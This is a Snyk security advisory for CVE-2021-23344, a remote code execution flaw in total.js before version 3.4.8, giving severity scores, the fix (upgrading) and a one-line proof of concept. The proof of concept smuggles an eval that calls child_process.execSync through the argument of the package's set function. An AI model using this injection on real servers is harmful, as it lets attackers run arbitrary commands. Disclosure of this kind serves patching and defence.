Homepage
About Snyk

Remote Code Execution (RCE) Affecting total.js package, versions <3.4.8

0.0
critical

Snyk CVSS

    Attack Complexity Low
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.84% (82nd percentile)
Expand this section
NVD
9.8 critical

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-TOTALJS-1077069
  • published 4 Mar 2021
  • disclosed 19 Feb 2021
  • credit Chiao-Lin, Yu
Report a new vulnerability Found a mistake?

Introduced: 19 Feb 2021

CVE-2021-23344 Open this link in a new tab
CWE-94 Open this link in a new tab
First added by Snyk

How to fix?

Upgrade total.js to version 3.4.8 or higher.

Overview

total.js is a framework for Node.js platfrom written in pure JavaScript similar to PHP's Laravel or Python's Django or ASP.NET MVC. It can be used as web, desktop, service or IoT application.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) via set.

PoC

// To be run in a nodejs console:
require('total.js/utils').set({},'a;eval(`require("child_process")\\x2eexecSync("touch pwned")`);//')

References